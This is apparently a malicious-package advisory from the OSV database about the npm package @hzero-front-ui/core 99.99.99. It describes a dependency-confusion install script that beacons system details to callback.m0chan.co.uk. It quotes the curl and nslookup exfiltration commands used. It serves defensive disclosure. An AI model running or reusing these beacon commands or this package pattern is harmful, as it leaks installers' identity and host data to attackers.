MAL-2026-13969

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@hzero-front-ui/core/MAL-2026-13969.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13969
Published
2026-08-13T21:07:01Z
Modified
2026-08-13T21:30:24.801392241Z
Summary
Malicious code in @hzero-front-ui/core (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca)

Package @hzero-front-ui/core@99.99.99 is a hollow shell (index.js is only module.exports = {};) whose sole functional content is preinstall/install lifecycle scripts. On npm install, those scripts collect the installer's username (whoami), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The 99.99.99 version and hollow contents under an org-shaped @hzero-front-ui scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-017674",
            "import_time": "2026-08-13T21:20:57.04669535Z",
            "sha256": "7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca",
            "versions": [
                "99.99.99"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-08-13T21:07:01Z"
        }
    ]
}
References
Credits

Affected packages

npm / @hzero-front-ui/core

Package

Name
@hzero-front-ui/core
View open source insights on deps.dev
Purl
pkg:npm/%40hzero-front-ui/core

Affected ranges

Affected versions

99.*
99.99.99

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@hzero-front-ui/core/MAL-2026-13969.json"
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "0a119c2941319eb6a8e24fb01c00ab2d65fdabaf307ebb49620d4a1f001d16170ef64e",
            "sha256": "6dfa75fcf4cfac2279dd89dc2c2f3ba7304aef8d79aafb5158c53c85f16827eb"
        }
    ],
    "package_integrity": [
        {
            "filename": "core-99.99.99.tgz",
            "hashes": {
                "sha512_sri": "sha512-McnU51X7xzwhkNwXTkAt2SqX5g4RvSUIMDIb1YCXo4yrpuCwHtQOyOiu5k9HI/e/9OSAhlgV69mlRgJLK2+tRA==",
                "sha1": "c67fee7cef1bd74b3b98895c6279eb3be30f4a09"
            }
        }
    ]
}